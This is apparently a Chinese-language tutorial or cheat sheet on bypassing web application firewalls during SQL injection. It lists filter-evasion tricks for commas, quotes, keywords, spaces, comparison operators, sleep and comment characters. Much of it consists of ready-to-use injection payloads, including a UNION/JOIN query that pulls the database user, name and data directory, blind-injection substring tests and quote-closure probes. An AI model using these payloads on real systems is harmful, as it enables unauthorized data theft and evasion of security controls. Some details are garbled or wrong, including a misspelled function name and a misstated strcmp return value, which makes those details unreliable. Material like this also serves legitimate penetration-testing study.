sql注入-中(绕WAF)

过滤逗号

- 1、联合查询显注绕过逗号
- 2、盲注中逗号绕过
 - a. 逗号绕过SUBTTRING 函数
 - b. from for的方法解决
 - c. limit可以用offset的方法绕过

过滤单引号

过滤关键字

过滤空格

过滤等号

过滤大于小于号

sleep函数被禁用

if被过滤

and or 被过滤

绕过注释符

等价函数绕过

本篇文章主要介绍sql注入绕waf的方式。

过滤逗号

过滤单引号

过滤关键字

过滤空格

过滤等号

过滤大于小于号

sleep函数被禁用

if被过滤

and or被过滤

思维导图



过滤逗号

1、联合查询显注绕过逗号

使用join绕过

select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);

2、盲注中逗号绕过

MID 和substr 函数用于从文本字段中提取字符

a. 逗号绕过SUBTTRING 函数

从字符串str的起始位置pos 返回一个子串

select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114)

b. from for的方法解决

substr(str from pos for len) //在str中从第pos位截取len长的字符 mid(str from pos for len)//在str中从第pos位截取len长的字符

c. limit可以用offset的方法绕过

limit 1 offset 1

过滤单引号

宽字节注入

过滤关键字

(1) 最常用的绕过方法就是用**//, <>, 分割关键字

sel<>ect

sel/**/ect

(2) 根据过滤程度,有时候还可以用双写绕过

selselectect

(3) 大小写。

既然是过滤关键字,大小写应该都会被匹配过滤,所以大小写绕过一般是行不通的。

(4) 有时候还可以使用编码绕过

url编码绕过

16进制编码绕过

ASCII编码绕过

过滤空格

- (1) 双空格
- (2) /**/
- (3) 用括号绕过
- (4) 用回车代替 //ascii码为chr(13)&chr(10), url编码为%0d%0a

过滤等号

如果等号被过滤了我们可以用 like 代替 使用like 、rlike 、regexp 或者 使用< 或者 >

过滤大于小于号

```
▼
(1) greatest(n1,n2,n3,...) //返回其中的最大值
(2) strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回-1
(3) in 操作符
(4) between and //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
```

sleep函数被禁用

▼

1 BENCHMARK, Get_lock函数,当都被禁用后可以用计算量比较大的语句使数据库查询时间变 2 长,从而达到延时注入的效果。

if被过滤

可以使用内联注释来绕过函数的检测

and or 被过滤

绕过注释符

```
▼
1 如果采用('')闭合的话
2 1' and '1'='1 正常
3 1' and '1'='2 错误
4 1') and ('1')=('1 正常
5 1') and ('1')=('2 错误
6
7 如果采用'闭合的话
8 1' and '1'='1 正常
9 1' and '1'='2 错误
10 1') and ('1')=('1 错误
11 1') and ('1')=('2 错误
```

等价函数绕过

```
hex(), bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid(), substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
```